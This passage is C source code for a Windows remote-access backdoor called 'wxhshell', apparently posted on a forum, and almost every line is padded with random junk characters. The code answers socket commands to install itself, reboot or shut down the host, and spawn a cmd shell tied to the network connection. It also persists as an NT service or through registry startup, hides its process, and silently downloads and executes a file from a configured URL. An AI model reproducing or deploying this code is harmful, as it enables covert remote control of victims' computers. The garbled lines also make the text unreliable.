  // 帮助 D6$*#D3U  
  case '?': { t@&U2JaL>W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ME0vXi  
    break; ]9 JLu8GO  
  } R)@2={fd}  
  // 安装 :F |ll?  
  case 'i': { xU1_L*tu '  
    if(Install()) |rgp(;iO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3s]aXz:  
    else <2n5|.:>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?XlPK Y  
    break; %.h&W;  
    } Dhe*)  
  // 卸载 oimM)Yo  
  case 'r': { F@tfbDO?  
    if(Uninstall()) _xefFy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'mELW)S  
    else Hk1[0)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O"M2*qiH  
    break; >\7M f@c  
    } V&h{a8xa$  
  // 显示 wxhshell 所在路径 E/3i _R  
  case 'p': { 6~!QibA|P  
    char svExeFile[MAX_PATH]; b8 ^O"oDrp  
    strcpy(svExeFile,"\n\r"); }@y(-7t  
      strcat(svExeFile,ExeFile); oH,{'S@q  
        send(wsh,svExeFile,strlen(svExeFile),0); gTS} 'w{  
    break; @*9c2\"k  
    } 6MD9DqD  
  // 重启 Ao U Pq  
  case 'b': { 2il`'X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K1+4W=|  
    if(Boot(REBOOT)) )ZW[$:wA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V0<g$,W=  
    else { :R-_EY$k6  
    closesocket(wsh); Q}: $F{  
    ExitThread(0); {>3J96  
    } :cxA  
    break; EY`]""~8v  
    } ${h1(ec8  
  // 关机 M ZAz= )-  
  case 'd': { S}b^_+UbP  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hm\UqIt  
    if(Boot(SHUTDOWN)) *x &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ln o#  
    else { z:ZXdB)L)  
    closesocket(wsh); r j.X"  
    ExitThread(0); k\TP3*fD  
    } yW)r`xpY  
    break; h"y~!NWn  
    } l$&dTI<#  
  // 获取shell Y3 \EX  
  case 's': { s&4&\Aq}x#  
    CmdShell(wsh); #`ZBA>FLaQ  
    closesocket(wsh); AxfQ{>)0  
    ExitThread(0); <}p]0iA  
    break; WfXwI 'y  
  } G=F_{z\}  
  // 退出 3L CT-rp  
  case 'x': { *iN5/w{VG  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &qzy?/i8  
    CloseIt(wsh); Y?qUO2  
    break; @#p6C  
    } #tIeI6 Qw  
  // 离开 sVpET  
  case 'q': { &P,uK+C4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' Tk4P{  
    closesocket(wsh); l>?f+70  
    WSACleanup(); HUChg{[  
    exit(1); <L('RgA@X  
    break; ' GUCXx  
        } :Xs4C%H;  
  } 4wN5x[vp  
  } AtUtE#K  
#N$\d4q9  
  // 提示信息 m^~5Xr"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D/ VEl{ba-  
} b BiTAP  
  } r8tW)"?  
4TTrHs  
  return; +c8t~2tuN  
} !' 0PM[  
8Vjv #pm  
// shell模块句柄 ~Zn|(  
int CmdShell(SOCKET sock) >,QCKZH  
{ W ' ~s  
STARTUPINFO si; $NCR V:J  
ZeroMemory(&si,sizeof(si)); |~ytAyw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2rW9ja  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A0Q`Aqs  
PROCESS_INFORMATION ProcessInfo; }Q*J!OH  
char cmdline[]="cmd"; RU=\eD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $@vB<(sk  
  return 0;  gnkeJ}K  
} gj iFpW4  
V'gJtF  
// 自身启动模式 $e2+O\.>  
int StartFromService(void) +p`BoF9~  
{ xC9{hXg!  
typedef struct Ir-QD !!<  
{ '7}2}KD  
  DWORD ExitStatus; }]#z0'Aqsu  
  DWORD PebBaseAddress; 8#HnV%|N  
  DWORD AffinityMask; Lyf5Yf([-  
  DWORD BasePriority; T*gG <8  
  ULONG UniqueProcessId; ]R>NmjAI  
  ULONG InheritedFromUniqueProcessId; 7W*a+^   
}   PROCESS_BASIC_INFORMATION; 3~7!=s\v  
R?;mu^B  
PROCNTQSIP NtQueryInformationProcess; P(FlU]q  
"O-X*>?f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gaxM#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #t;]s<  
10h; N[  
  HANDLE             hProcess; 8V}|(b#  
  PROCESS_BASIC_INFORMATION pbi; $U. |  
+ kT ]qH  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pdR\Ne0P*  
  if(NULL == hInst ) return 0; @87Y/_l  
W!R0:-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :<bhQY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |O6/p7+.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); M)!"R [V  
N*hV/"joZ  
  if (!NtQueryInformationProcess) return 0; 7G^Q2w  
*r[V[9+y-D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y2#"\5dC  
  if(!hProcess) return 0; |1tpXpe  
l*OR{!3H$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S9r?= K  
P9qIq]M  
  CloseHandle(hProcess); I*^t!+q$  
Xp9I3nd|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NA/`LaJ  
if(hProcess==NULL) return 0; ^"D^D`$@  
{Q37a=;,  
HMODULE hMod; NN2mOJ:-  
char procName[255]; ZfX$q\7  
unsigned long cbNeeded; UimofFmI%  
J _dgP[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {J izCUo_'  
{|hg3R~A  
  CloseHandle(hProcess); ~##FW|N)  
qEXN} Pq<  
if(strstr(procName,"services")) return 1; // 以服务启动 q4Wr$T$gs=  
M_Ag *?2I  
  return 0; // 注册表启动 uV_%&P  
} PuREqa\_[  
FG[rH]   
// 主模块 jd-ccnR l  
int StartWxhshell(LPSTR lpCmdLine) 7 s{vou  
{ UO&$1rV  
  SOCKET wsl; >V?0#f45@  
BOOL val=TRUE; O=V_ 7I5  
  int port=0; RqGX(Iuv  
  struct sockaddr_in door; ?RS:I%bL  
z`t~N  
  if(wscfg.ws_autoins) Install(); NJ.oME@=  
,8Po _[  
port=atoi(lpCmdLine); .l_Nf9=  
p*,T~(A6  
if(port<=0) port=wscfg.ws_port; ssx#|InY  
B7[d^Y60B  
  WSADATA data; bA,Zfsr6#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mi<Q3;m  
X*@ tp,t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `j@1]%&z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6 h#U,G  
  door.sin_family = AF_INET; {eI'0==  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t4#gW$+^?H  
  door.sin_port = htons(port); r!dWI  
.!KsF h,pK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  {Ba&  
closesocket(wsl); y)&K9 I  
return 1; ~qeFSU(  
} tF} ^  
,G%UU~/a  
  if(listen(wsl,2) == INVALID_SOCKET) { =xIZJ8e  
closesocket(wsl); z/xPI)R[  
return 1; p>+9pxx~U  
} xmcZN3 ){+  
  Wxhshell(wsl); vio>P-2Eho  
  WSACleanup(); f\dfKNm6  
^@AyC"K  
return 0; -)oUb=Lk{  
[,Go*r  
} }' AY#g  
; $80}TY '  
// 以NT服务方式启动 EZ .3Z`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )S%t) }  
{ iBAP,cR?`  
DWORD   status = 0; z``wqK  
  DWORD   specificError = 0xfffffff; /m"/#; ^l  
iO5g30l  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aim\ 3y~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8]&:'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T8z?_ *k  
  serviceStatus.dwWin32ExitCode     = 0; }Cu[x'J  
  serviceStatus.dwServiceSpecificExitCode = 0; WM ?a1j  
  serviceStatus.dwCheckPoint       = 0; Pn OWQ8=  
  serviceStatus.dwWaitHint       = 0; `L`+`B  
{owuYVm  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K-C,n~-  
  if (hServiceStatusHandle==0) return; WV$CZgL  
{IV% _y?  
status = GetLastError(); \6&Ml]1  
  if (status!=NO_ERROR) `9K5 ;]  
{ h9ScN(|0y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ":Tm6Nj  
    serviceStatus.dwCheckPoint       = 0; Yw3'9m^  
    serviceStatus.dwWaitHint       = 0; (8h4\utA  
    serviceStatus.dwWin32ExitCode     = status; W]ca~%r  
    serviceStatus.dwServiceSpecificExitCode = specificError; g) u%?T  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vz/w.%_g  
    return; _=s9o/Cn]  
  } ~SQ xFAto  
:Fb>=e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]q%r2 (y,k  
  serviceStatus.dwCheckPoint       = 0; f<@!{y 2Xe  
  serviceStatus.dwWaitHint       = 0; ^-~JkW'z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ? x #K:a?  
} ~< bpdI0  
H\ejW@< ;h  
// 处理NT服务事件,比如:启动、停止 Yn }Gj'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Re8x!e'>  
{ !Rl|o^Vw>{  
switch(fdwControl) D:/ n2_  
{ gfg,V.:  
case SERVICE_CONTROL_STOP: *tF~CG$r  
  serviceStatus.dwWin32ExitCode = 0; o2ggHZe/=@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Bxm,?=h  
  serviceStatus.dwCheckPoint   = 0; WMa0L&C~v  
  serviceStatus.dwWaitHint     = 0; MMFwT(l<1  
  { N2}SR|.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H/O.h@E4X  
  } Kk8} m;  
  return; 7a'yO+7-)  
case SERVICE_CONTROL_PAUSE: sh$-}1 ;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %)JEYH7Z  
  break; vAUt~ X"  
case SERVICE_CONTROL_CONTINUE: 13!@L bC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; INi$-Y+  
  break;  lln"c  
case SERVICE_CONTROL_INTERROGATE: z5fE<=<X_W  
  break; njy2pDC@  
}; :jl*Y-mM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C:J;'[,S  
} fkzSX8a9}  
NZq-%bE  
// 标准应用程序主函数 ccuGM WG*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .c"nDCFVR  
{ QF"7.~~2  
9b+jT{Tg  
// 获取操作系统版本 ]^~}/@  
OsIsNt=GetOsVer(); 2nB99L{6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FbE/x$;~O  
u-TT;k'  
  // 从命令行安装 JnBUW"  
  if(strpbrk(lpCmdLine,"iI")) Install(); SN{+ Pk  
iNA3Y  
  // 下载执行文件 C 5.3[  
if(wscfg.ws_downexe) { lhN@ ,q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V*4Z.3/E5  
  WinExec(wscfg.ws_filenam,SW_HIDE); &F&`y  
} 4qOzjEQ  
!wy _3a  
if(!OsIsNt) { Y_'ERqQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 n N<N~  
HideProc(); t/i I!}  
StartWxhshell(lpCmdLine); b&z#ZY  
} 6Xvpk1  
else ]<f)Rf">:`  
  if(StartFromService()) a$My6Qa#  
  // 以服务方式启动 bBjr hi  
  StartServiceCtrlDispatcher(DispatchTable); A>@#eyB  
else ]ZY2\'  
  // 普通方式启动 9jkz83/+<  
  StartWxhshell(lpCmdLine); %v0M~J}+  
QJ2]8K)+C  
return 0; *r`=hNr  
}
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只看该作者 1 发表于: 2006-10-10
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